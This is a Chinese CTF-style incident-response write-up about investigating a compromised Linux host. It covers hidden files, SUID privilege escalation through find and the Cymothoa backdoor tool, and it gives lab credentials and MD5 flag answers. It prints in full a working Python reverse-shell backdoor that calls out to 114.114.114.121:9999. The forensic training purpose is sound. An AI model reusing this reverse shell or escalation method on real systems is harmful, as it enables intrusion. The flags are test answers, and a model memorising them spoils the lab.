1
2
3
4
5
6
ssh root@env.xj.edisec.net -p  密码  xjqxwcyc
1.黑客隐藏的隐藏的文件 完整路径md5
2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}
3.黑客提权所用的命令 完整路径的md5 flag{md5}
4.黑客尝试注入恶意代码的工具完整路径md5
5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}

1.黑客隐藏的隐藏的文件 完整路径md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 查找隐藏文件
root@xuanji:~# find / -type f -name ".*" 2>/dev/null | grep -v "^\/sys\/"
/etc/.pwd.lock
/etc/cron.d/.placeholder
/etc/cron.daily/.placeholder
/etc/cron.hourly/.placeholder
/etc/cron.monthly/.placeholder
/etc/cron.weekly/.placeholder
/etc/init.d/.legacy-bootordering
/etc/skel/.bash_logout
/etc/skel/.bashrc
/etc/skel/.profile
/etc/mysql/conf.d/.keepme
/home/ctf/.bash_logout
/home/ctf/.bashrc
/home/ctf/.profile
/home/ctf/.bash_history
/root/.bashrc
/root/.profile
/root/.bash_history
/root/.viminfo
/tmp/.temp/libprocesshider/.gitignore
/.dockerenv
root@xuanji:~#
// 查找隐藏目录
root@xuanji:~# find / -type d -name ".*" 2>/dev/null
/opt/.cymothoa-1-beta
/root/.ssh
/root/.cache
/run/secrets/kubernetes.io/serviceaccount/..2024_04_28_01_02_46.320319011
/tmp/.temp
/tmp/.temp/libprocesshider/.git
/usr/share/php/.registry

百度可以得到 libprocesshider 是用于隐藏文件的项目 在/tmp/.temp/libprocesshider/下找只有1.py拥有执行权限

image-20240428092142486

对这个目录文件 /tmp/.temp/libprocesshider/1.py 加密

image-20240428092446085

答案:flag{109ccb5768c70638e24fb46ee7957e37}

2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}

查看1.py的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

#!/usr/bin/python3

import socket,subprocess,os,sys, time

pidrg = os.fork()
if pidrg > 0:
sys.exit(0)

os.chdir("/")
os.setsid()
os.umask(0)
drgpid = os.fork()
if drgpid > 0:
sys.exit(0)

while 1:
try:
sys.stdout.flush()
sys.stderr.flush()
fdreg = open("/dev/null", "w")
sys.stdout = fdreg
sys.stderr = fdreg
sdregs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sdregs.connect(("114.114.114.121",9999))
os.dup2(sdregs.fileno(),0)
os.dup2(sdregs.fileno(),1)
os.dup2(sdregs.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
sdregs.close()
except Exception:
pass
time.sleep(2)


这段代码是一个Python脚本,其主要目的是在受害者的机器上建立一个反向shell,以实现与攻击者服务器(IP地址为"114.114.114.121",端口为9999)的隐蔽通信。下面是对代码各部分功能的详细解释:

1. **导入所需模块**:
- `socket`:用于网络编程,创建客户端与服务器之间的连接。
- `subprocess`:用于生成新的进程,如在本例中启动一个新的bash shell。
- `os`:提供了与操作系统交互的各种功能,如进程管理、文件操作等。
- `sys`:提供访问和控制Python解释器的一些功能。
- `time`:用于时间相关的操作,如延时。

2. **fork()调用**:
- 连续进行了两次`os.fork()`调用,实现从父进程到子进程再孙子进程的转变,并在每次调用后通过判断返回值决定是否退出当前进程。这一系列操作是为了将程序转为一个无终端的后台进程(daemon化),使其在后台持续运行且不易被直接观察到。

3. **环境设置**:
- `os.chdir("/")`:改变当前工作目录到根目录。
- `os.setsid()`:创建一个新的会话,并成为该会话的首进程,进一步脱离与终端的关联。
- `os.umask(0)`:设置文件权限掩码为0,确保后续创建的文件或目录具有最宽松的权限。

4. **无限循环及异常处理**:
- `while 1:`表示一个无限循环,确保连接失败后能不断尝试重新建立。
- 在循环内部,首先刷新标准输出和错误缓冲区,并将它们重定向到`/dev/null`,以消除可能的日志记录或屏幕输出。
- 使用`socket`模块创建TCP连接到指定的攻击者服务器地址和端口。
- 接着,通过`os.dup2()`三次调用,将标准输入(0)、标准输出(1)、标准错误(2)都重定向到刚建立的socket连接上,实现与远程服务器的双向通信。
- 使用`subprocess.call`启动一个交互式的bash shell (`/bin/bash -i`),使得攻击者可以通过此socket连接发送命令并接收输出。
- 如果连接或命令执行过程中出现异常,则捕获并忽略它,然后等待2秒后继续尝试。

此脚本是一个典型的后门程序

答案:flag{114.114.114.121:9999}

3.黑客提权所用的命令 完整路径的md5 flag{md5}

find / -type f -perm -4000 2>/dev/null看一下哪些命令设置了suid的权限

image-20240428092756145

切换到ctf用户尝试哪一条命令可以提权成功

image-20240428093146840

image-20240428093113895

find可以提权成功

image-20240428093315816

答案: flag{7fd5884f493f4aaf96abee286ee04120}

4.黑客尝试注入恶意代码的工具完整路径md5

继续回到之前使用find查找隐藏目录/opt/.cymothoa-1-beta

百度可以得到cymothoa-1-beta是一个后门隐藏的工具

https://www.cnblogs.com/-qing-/p/10519363.html

https://www.aldeid.com/wiki/Cymothoa

https://www.cnblogs.com/-qing-/p/10519363.html

对该工具的完整路径 /opt/.cymothoa-1-beta/cymothoa 加密

答案:flag{087c267368ece4fcf422ff733b51aed9}

5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}

python3 /tmp/.temp/libprocesshider/1.py 执行完成后,查看网络连接

image-20240428093923223

根据PID查找程序 cat /proc/12523/cmdLine

image-20240428094513560

需要提供完整的执行程序

答案:flag{/usr/bin/python3.4}